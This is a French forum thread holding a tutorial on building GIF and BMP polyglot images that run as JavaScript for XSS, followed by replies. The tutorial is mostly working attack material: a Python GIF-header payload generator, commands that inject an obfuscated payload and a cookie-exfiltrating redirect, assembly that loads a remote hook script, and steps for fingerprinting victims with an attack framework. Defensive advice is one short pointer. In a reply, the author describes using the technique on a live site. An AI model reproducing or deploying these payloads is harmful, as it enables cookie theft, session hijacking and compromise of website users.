Annonce

Réduire
Aucune annonce.

Quand l'image se met au service de l'XSS

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tutoriel Quand l'image se met au service de l'XSS

    Quand l'image se met au service de l'XSS


    XSS, on connaît, on sait depuis que la plupart des plates-formes web et applications à un petit bug affilié à l'injection JavaScript. C'est pour cela que ces 5 dernières années XSS a bravé chaque marche vers le sommet des failles applicatives.
    J'ai écrit à l'époque pas mal d'articles ou d'ebook traitant du sujet et il s'avère qu'aujourd'hui, elle a atteint son apogée auprès de la jeunesse geek.
    Même google s'y est mis avec cet excellent site pour apprendre tout en s'amusant et surtout avec les techniques pour se prémunir de cette attaque :
    https://www.google.com/about/appsecurity/learning/xss/

    Cependant, même si l'injection de fichier fait progressivement sombrer ses places au Top 10, je pense qu'il fallait que l'on parle du travail sur image.
    Qu'est-ce qu'une image ?

    On en connaît surtout ses principales extensions BMP, JPEG, PNG et GIF. Je ne vais pas m'attarder sur ce sujet, on s'écarterait du thème.
    Beaucoup de spécialistes en sécurité aiment tester les recoins et les limites de défense des applications. La protection contre le XSS a amené à une période à chercher de nouveaux vecteurs offensifs.

    Alors si l'on ne peut injecter directement un script JS, comment faire ?
    Ils ont remarqué que si l'administrateur ou la plate-forme permettait d'exécuter des fichiers sources JS chargés depuis le même domaine, on aurait alors la possibilité de contourner le système. Pour cela, l'application Web doit avoir un WYSIWYG éditeur qui permettra d'écrire du HTML et le téléchargement des images.

    Alors là, il a suffi pour les pirates informatiques de créer un programme ou un script dans leur langage favori afin de pouvoir soit insérer le script dans l'image, soit créer une image simple mais contenant le payload.

    Le payload un mot qui veut juste dire pour les débutants le script qui agit. Si vous êtes dans le cadre d'une faille SQL, vous aurez un payload qui agira sur la faille par exemple en extirpant les identifiants directement de la base de données.

    Une faille XSS agira de plusieurs manières, cela dépendra de son type : stored ou reflected.

    Je ne reviendrais pas sur tout, mais ce qu'il est intéressant dans ce cas précis serait d'Hook à l'aide d'une image infectée d'un payload qui aura comme action une redirection vers un phishing site, voire vers un collecteur de base de cookies.
    Hook signifie que l'on veut accrocher la cible, on cherche à l'amener à utiliser notre payload. Malgré, la force de XSS, souvent on doit agir sur les intentions de la victime.

    Pour cet article, on va voir trois scripts différents qui ne sont pas de moi. Le premier est codé en ASM, le second en Python et le dernier en C.

    GIF injecté en Python.

    Voici les deux scripts : http://pastebin.com/6yUbfGX5 et http://pastebin.com/04y7ee3u

    Dans ce script en python, on peut rapidement voir que cette partie s'occupe de la création et de l'injection du payload.


    Code:
    def _generate_and_write_to_file(payload, fname):
        """
        Generates a fake but valid GIF within scriting
        """
        f = open(fname, "wb")
        header = (b'\x47\x49\x46\x38\x39\x61'  #Signature + Version  GIF89a
                            b'\x2F\x2A' #Encoding /* it's a valid Logical Screen Width
                            b'\x0A\x00' #Smal Logical Screen Height
                            b'\x00' #GCTF
                            b'\xFF' #BackgroundColor
                            b'\x00' #Pixel Ratio
                            b'\x2C\x00\x00\x00\x00\x2F\x2A\x0A\x00\x00\x02\x00\x3B' #GlobalColorTable + Blocks
                            b'\x2A\x2F' #Commenting out */
                            b'\x3D\x31\x3B' # enable the script side by introducing =1;
    				        )
        trailer = b'\x3B'
    	# I made this explicit, step by step .
        f.write(header)
        f.write(payload)
        f.write(trailer)
        f.close()
        return True

    Il ouvre le header avec l'en-tête \x2A\x2F, ce qui signale qu'il s'agit d'un GIF. Ouvrez une image GIF à l'aide d'un logiciel HEXADECIMAL et vous verrez le Metadata : GIF89a correspondant à : "\x47\x49\x46\x38\x39\x61".

    Pour plus d'informations : http://giflib.sourceforge.net/whatsi...and_bytes.html

    De même pour une image BMP, PNG ou JPEG, on verra à faire attention aux en-têtes et à la signature qui dira à la lecture : "Oui je suis bien une image Gif,…"

    Pour les utiliser :

    Code:
    gif_injector.py -i image.gif "alert(\"Learn XSS with gif\");"
    gif_injector.py -i image.bmp  "alert(\"Learn XSS with gif\");"
    Vous l'afficher sur une page html pour voire le résultat :

    Code HTML:
    <html>
    <head>
    <title>Image XSS injection</title>
    </head>
    <body background="http://www.w3schools.com/tags/w3s.png">
    <img src="imag.gif_exploit.gif" />
    <script src="imag.gif_exploit.gif"></script>
    </body>
    </html>

    On peut également aller plus loin et obfusquer le code:
    Code:
    gif_injector.py -i imag.gif "var _0x9c4c=[\"\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\",\"\x0A\",\"\x4F\x4B\"];var a=_0x9c4c[0];function MsgBox(_0xccb4x3){alert(_0xccb4x3+_0x9c4c[1]+a);} ;MsgBox(_0x9c4c[2]);"


    Imaginez sur un site qui par exemple accepte n'importe quel format gif mais qui plus est supporte le langage html, il suffirait alors de mettre ceci dans un poste, une signature, un commentaire, … et par exemple d'injecter ce code:

    Code:
    gif_injector.py -i image.gif "location.replace(\"http://google.com?cookie=\"+document.cookie);"
    La c'est gentil, ce n'est qu'une redirection vers google, mais si je mets site où j'ai hébergé une plateforme qui récupère les cookies, la ce serait catastrophique.

    En C, on a plusieurs scripts qui le permettent comme : https://github.com/jklmnn/imagejs , https://github.com/OsandaMalith/Imag...imgexploiter.c

    En ASM : https://code.google.com/p/corkami/do...ame=jspics.zip, https://gist.github.com/ajinabraham/...fb1930f94886a3
    nasm gifjs.asm -o imug.gif



    Code:
    [~] Author: Osanda Malith Jayathissa
    [~] Website: http://OsandaMalith.wordpress.com
    [~] E-Mail: osanda[cat]unseen.is
    
    [-] Usage: F:\XSS\ImageExploiter-master\ImageExploiter-master\imgexploiter.exe -
    i <image file name> -f <gif or bmp> -p <payload string>
    
    
    imgexploiter.exe -I  imag.gif -f gif  –p prompt\(1337\)
    imgexploiter.exe –i yourimage.bmp –f bmp –p prompt\(1337\)
    Aller plus loin avec Xenotix http://xenotix.in/
    Laissé un peu pour compte pour son approche un peu trop automatisée, pourtant elle peut découvrir des failles XSS là où vous vous buter depuis des jours. Possédant des centaines de payload intégrés vous aurez vite fait le tour de tout ce qui est capable de faire sur une page web et ceux plus rapidement qu'à la main.

    Télécharger le puis une fois le serveur activé -> Paramètres -> Configurer le serveur. Une URL va vous être donnée de cette sorte :

    http://127.0.0.1:5058/xook .js



    En fait, cela permet d'utiliser le serveur local afin de hooker la page web qui sera infecter ou rediriger dessus.

    Pour l'utiliser avec le script il suffit dans gifjs.asm :

    Code:
    db 's = document.createElement("script");'
    db 's.src = "http://127.0.0.1:5058/xook.js";'
    db 'document.body.appendChild(s);'
    Compiler :
    Code:
    Yasm gifjs.asm -o img.gif ou nasm gifjs.asm -o img.gif
    Intégrer la dans une page HTMl et lorsque la page chargera le fichier GIF. Ouvrez une console Firebug ou Deveoppeur (F12) et vous pouvez voir un message dans la console

    Resource interpreted as Script but transferred with MIME type image/gif: "file:///C:/Users/Desktop/jspics/img.gif".

    Cela nous donne juste un soupçon que la page avait demandé et interprété une GIF comme JS. Ceci est utile pour les analystes de logiciels malveillants pour identifier les malwares intégrés dans des images.

    Maintenant, la page est xooked et vous pouvez utiliser Xenotix pour tirer partie de cette situation. Nous allons utiliser le module IP2Gelocation, Retour à Xenotix et exécuter le module IP2Geolocation de collecte d'information -> Victime d'empreintes digitales -.> IP2Geolocation Cliquez sur empreintes digitales et vous obtiendrez quelque chose comme ca.



    Pour se défendre contre les injections XSS, je vous renvoie vers cet excellent article :

    http://dotnet.developpez.com/mvc/mvc...ipt-injection/

    Mais, il faut surtout éviter de laisser la possibilité d'écrire en HTML n'importe où sur un site.

    J'espère que vous aurez appris quelques chose de plus sur les injections XSS. Vous avez pu aussi comprendre que les fichiers peuvent être compromis et ces dernières années des chercheurs en sécurité ont réussis des injections par PDF, DOC, ODT, … Si j'ai du temps je verrais pour créer un article dessus.

    Comme quoi, on peut sécuriser au maximum, la sécurité maximum n'existe pas à partir du moment où l'on a posé un pied dans le réseau.

    Merci de m'avoir lu, à bientôt.

    Source : https://www.owasp.org/index.php/Content_Security_Policy, Marco Ramilli's Blog, entre autre, à l'époque je l'avais découvert à l'aide d'un exellent blogue de sécurité chinois, mais je n'ai plus retrouver l'adresse.

    PS: je suis passer sur beaucoup d'explications puisque cet article est destiné à des personnes ayant des connaissances basiques en faille XSS, Format MIMe, Hexadécimal,...
    Dernière modification par DreAmuS, 10 octobre 2015, 19h28.

  • #2
    Salut, déjà merci pour cet excellent tuto. Je voulais te demander pourquoi te servir uniquement du header gif pour camoufler ton payload ?
    ToxID : 7322307290A75F5F36142EF206D95374966F10FE2CCD8224BEC07F16137875058C3BC4020609


    Petite énigme, seriez vous décoder ce code ? WW4gZXJjYmFmciBoYXZpcmVmcnl5ciA/

    Commentaire


    • #3
      Dans le tutoriel, si tu le lis attentivement, j'utilise aussi le header BMP, mais il est facile et aisé en suivant le lien que j'ai mis avec les explications de remplacer également le 'HEADER' GIF par le 'HEADER' de PNG et JEPG

      Ce tutoriel est pour des personnes avançées qui ont des notions en XSS et commence à comprendre que le monde informatique travaille sur l'infiniment petit. IL faut avoir aussi des notions d'obfuscations, d'hexadécimal, binaire,... langages informatique. C'est-à-dire que les pirates n'attaque plus frontalement, du moins les bons, il sont plus sournois et vont chercher à travailler leur payload pour qu'il ne se fasse pas remarquer.

      Actuellement, la spécialité est l'upload de fichier sur serveur en modifiant les en-têtes, pratiquement toutes les attaques des script kiddies se font ainsi. Sans vouloir être mesquin beaucoup de petits serveurs US,Hindou,... sont tombés. Comme quoi donner à de mauvais gars, de mauvaises armes et on aura de mauvais résultat.

      Je pense que les membres ayant des connaissances minimales pourront , je l'espère, juste changer 8 chiffre sur un code sachant que j'ai déjà déterminer l'emplacement pour eux.

      Je ne suis pas rentré sur des explications plus blackhat, car je suis limite de la charte. Personnellement, je n'ai utilisé qu'une fois cette technique sur un site à,l'époque (il y a 2 an), qui était supporté par MYBB. J'avais uploader sur un poste une image (sur file), qui avait fait son office en étant stored et agissant en claquant un beau I'm Here ! Je l'avais signaler, cela n'avait pas été perçu par l'équipe du CMS comme un exploit. Pourtant, une semaine plus tard, il n'apparaissait plus nulle part.

      J'imagine qu'une autre personne aurait fait des dégâts plus important à ma place. Ne cherchant pas la reconnaissance, je n'ai pas relancé.

      J'avais appris cette technique d'un blogue chinois, cet ingénieur utilisait déjà ces technniques, il était spécialisé dans l'insertion de payload dans les fichiers. Il faisait du reverse engeenering un art !

      Malheureusement, son blogue a disparu ainsi que toute trace de lui, pourquoi ?, je n'en sais rien.


      D'autres part, pour ce qui est des autres formats, j'en parlerais une autre fois , car il nécessite une autre approche et surtout bénéficieront d'une autre technique d'investigation.

      Merci, d'avoir lu mon article misterPoc et heureux qu'il t'ai interressé
      Dernière modification par DreAmuS, 11 octobre 2015, 11h20.

      Commentaire


      • #4
        Trés bon tuto dreamus comme tu sais les faires, il ets vrais que cette attaque est trés puissante, les header, user-agents etc sont rarement sécurisé d'ou de jolie failles comme cela

        Commentaire

        Chargement...
        X